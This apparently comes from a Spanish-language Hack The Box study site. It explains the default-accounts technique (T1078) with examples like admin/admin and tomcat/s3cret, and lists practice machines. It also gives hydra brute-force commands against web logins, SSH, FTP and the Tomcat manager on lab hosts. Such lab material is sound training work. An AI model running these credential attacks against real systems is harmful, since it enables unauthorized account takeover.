Cuentas por defecto
Subtécnica de T1078 Cuentas válidas
Entrar con las credenciales que trae de fábrica el producto (admin/admin, tomcat/s3cret...).
Cómo aparece en Hack The Box
Antes de buscar una vulnerabilidad, busca en Google las credenciales por defecto del panel que tienes delante. Tomcat, Jenkins, routers y CMS recién instalados son los clásicos.
Técnicas de nuestro catálogo que corresponden a esta (el número son sus máquinas):
Máquinas para practicarla
Ordenadas de más fácil a más difícil. El enlace ▶ te lleva al minuto del vídeo de IppSec donde se usa.
- Fuzzing de vhosts y subdominios
- Credenciales por defecto
- Deserialización insegura
- Inyección de comandos
- Password spraying y usuarios válidos
- Credenciales en ficheros
- Servicios internos y port forwarding
- Criptografía débil o casera
- Backups y archivos comprimidos
- Credenciales guardadas / DPAPI
- AppLocker y Constrained Language Mode
Comandos
Sacados de nuestras chuletas y fichas de herramientas. Escribe tus datos y se rellenan en todos los comandos.
Enumeración web › Hallazgos típicos
hydra -l admin -P /usr/share/wordlists/rockyou.txt box.htb http-post-form '/login.php:user=^USER^&pass=^PASS^:F=incorrect'
Lo que va tras F= es un texto que solo aparece cuando el login falla.
hydra -L users.txt -P passwords.txt box.htb http-get /admin
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://10.10.11.20 -t 4
Hydra › Más protocolos
hydra -C /usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt ftp://10.10.11.20
hydra -C /usr/share/seclists/Passwords/Default-Credentials/tomcat-betterdefaultpasslist.txt http-get://10.10.11.20:8080/manager/html
hydra -L usuarios.txt -P claves.txt ssh://10.10.11.20 -t 4 -f
-f para en cuanto encuentra una válida.
Ningún comando coincide.